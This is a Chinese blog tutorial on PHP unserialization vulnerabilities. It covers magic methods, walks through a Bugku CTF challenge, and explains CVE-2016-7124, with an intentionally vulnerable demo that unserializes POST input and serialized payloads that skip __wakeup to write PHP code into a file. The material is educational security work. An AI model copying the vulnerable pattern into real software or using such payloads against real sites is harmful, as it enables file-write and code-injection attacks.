PHP反序列化原理及漏洞解析

  • 什么是PHP序列化
  • PHP序列化与反序列化的过程
  • 一个反序列化漏洞的例子
  • CVE-2016-7124

一. 什么是PHP序列化与反序列化

1. PHP序列化

PHP序列化是指把变量转化成可保存或传输的字符串的过程,PHP序列化函数有serializejson_encode

以下例子可以实现PHP序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class test
{
public $name = 'jacky';
public $age = '18';
public $heavy = '81.5';
public $boolean = true;
public $null = NULL;
public $array = array(1,2,3,4,5);
}
$jacky = new test;
echo serialize($jacky);
?>

输出的结果为

O:4:”test”:6:{s:4:”name”;s:5:”jacky”;s:3:”age”;s:2:”18”;s:5:”heavy”;s:4:”81.5”;s:7:”boolean”;b:1;s:4:”null”;N;s:5:”array”;a:5:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:4;i:5;}}

1

其中每项的标识所代表的含义

标识 含义
s 字符串(string)
i 整型(integer)
b 布尔(boolean)
d 双精度(double)
N 空(NULL)
a 数组(array)

同时,序列化过程中还会对不同属性的变量进行不同方式的变化

public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2

2. 反序列化

PHP反序列是指将经过序列化的数据转化成原先的状态,PHP反序列化函数有unserializejson_decode


二. PHP序列化与反序列化的过程

1. PHP魔法函数

PHP中包含很多魔法函数,他们可以在某些情况下自动执行而不需要手动调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct()    #类的构造函数
__destruct() #类的析构函数
__call() #在对象中调用一个不可访问方法时调用
__callStatic() #用静态方式中调用一个不可访问方法时调用
__get() #获得一个类的成员变量时调用
__set() #设置一个类的成员变量时调用
__isset() #当对不可访问属性调用isset()或empty()时调用
__unset() #当对不可访问属性调用unset()时被调用。
__sleep() #执行serialize()时,先会调用这个函数
__wakeup() #执行unserialize()时,先会调用这个函数
__toString() #类被当成字符串时的回应方法
__invoke() #调用函数的方式调用一个对象时的回应方法
__set_state() #调用var_export()导出类时,此静态方法会被调用。
__clone() #当对象复制完成时调用
__autoload() #尝试加载未定义的类
__debugInfo() #打印所需调试信息

2. 如何进行序列化

在对象被序列化之前,会检查是否有__sleep()函数,如果存在,该函数会清理对象,并返回一个数组,数组中包含被序列化的对象的所有属性的名称。如果该方法不返回任何内容,则序列化后的字符串将变为N并提示Notice。__sleep()的预期用途是提交需要挂起的数据或执行类似的清理任务。如果有一个非常大的对象,不需要完全保存其所有属性,该功能将非常有用。

在反序列化之前,会检查是否具有__wakeup()魔术方法。如果存在该方法,则在反序列化时执行该方法。__wakeup()魔术方法可以重构对象可能具有的任何资源。__wakeup()预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
class test
{
public $value;

function __construct(){
echo "__construct";
echo "<br />";
}

function __destruct(){
echo "__destruct";
echo "<br />";
}

function __wakeup(){
echo "__wakeup";
echo "<br />";
}

function __toString(){
echo "__toString";
echo "<br />";
return $this->value;
}

function setValue($parm){
echo "setValue";
echo "<br />";
$this->value = $parm;
}
}
$test = new test;
$test->setValue("Jacky");
$ser_test = serialize($test);
echo $ser_test."<br />";
$obj = unserialize($ser_test);
echo $obj."<br />";
?>
1
2
3
4
5
6
7
8
9
10
//output

__construct
setValue
O:4:"test":1:{s:5:"value";s:5:"Jacky";}
__wakeup
__toString
Jacky
__destruct
__destruct

3. __autoloading()函数

传统的PHP只能反序列化定义过的类,意味着每个PHP文件都需要包含很多文件,在当前主流的PHP框架中,都采用了__autoloading()自动加载类来完成这项繁重的工作。在简化了工作的同时,也为序列化漏洞造成了便捷。

4. 反序列化过程中魔术方法的执行顺序

__wakeup()> __toString()> __destruct()


三. 一个反序列化漏洞的例子

题目地址:welcome to bugkuctf

2

右击查看源代码,可以看到如下提示

1
2
3
4
5
6
7
8
9
10
$user = $_GET["txt"];  
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

首先我们尝试将$user的值改为welcome to the bugkuctf,由于使用的是file_get_contents()函数,所以需要使用PHP伪协议来传入$user的值,payload如下

3

下一步处理$file的值,可以看到代码中有文件包含,并提示了所包含的文件时hint.php,这里需要使用另一个PHP伪协议来传入$file的值,payload如下

4

将出现的字符通过base64解密,可以得到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

可以看到,在flag.php文件中有一个Flag类,此外,我们可以用同样的方法得到index.php文件中的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}

其中有一段代码时这样的

1
2
3
  if(preg_match("/flag/",$file)){ 
echo "不能现在就给你flag哦";
exit();

意思就是说如果直接引用flag.php这个文件是不会显示flag的值的。

同时,还发现了另一段代码

1
2
3
include($file);
$password = unserialize($password);
echo $password;

这个else写到如果我的$file不包含flag.php,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。而我们根据上面的hint.php发现,在Flag类被创建时,__tostring()函数会自动执行,同时如果引用的文件存在,会输出文件中的内容。所以,构造如下payload

5

查看源代码,即可看到flag

6


四. CVE-2016-7124

1. 漏洞分析

该漏洞存在于PHP5小于5.6.25版本或PHP7小于7.0.10版本中,该漏洞简单来说就是当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup()的执行,demo如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<html>
<head>
<title>PHP反序列化demo</title>
<meta charset="utf-8">
</head>
<body>
<?php
class test{
var $name = "Jacky";
function __destruct(){
$file = fopen("hello.php","w");
fputs($file,$this->name);
fclose($file);
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up...\n";
}
}
$test = $_POST['test'];
$test_unser = unserialize($test);
?>
</body>
</html>

由于__wakeup()的执行顺序在__destruct()之前,所以__wakeup()会将对象内的所有属性设为NULL,在__destruct()执行时,没有内容会写到文件中。但使用漏洞,可以跳过__wakeup(),直接执行__destruct(),这样可以将属性内容写入文件中。

如果我们使用如下payload

1
test=O:4:"test":1:{s:4:"name";s:18:"<?php phpinfo();?>";}

会执行__wakeup()函数,页面上会出现如下输出

7

使用如下payload

1
test=O:4:"test":2:{s:4:"name";s:18:"<?php phpinfo();?>";}

执行后,会将<?php phpinfo();?>写入hello.php文件中。

8



-------------本文结束感谢您的阅读-------------

本文标题:PHP反序列化原理及漏洞解析

文章作者:J2ck7a1 Ch33

发布时间:2019年04月28日 - 20:04

最后更新:2019年04月30日 - 14:04

原始链接:http://yoursite.com/phpUnserialize/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。


想喝快乐水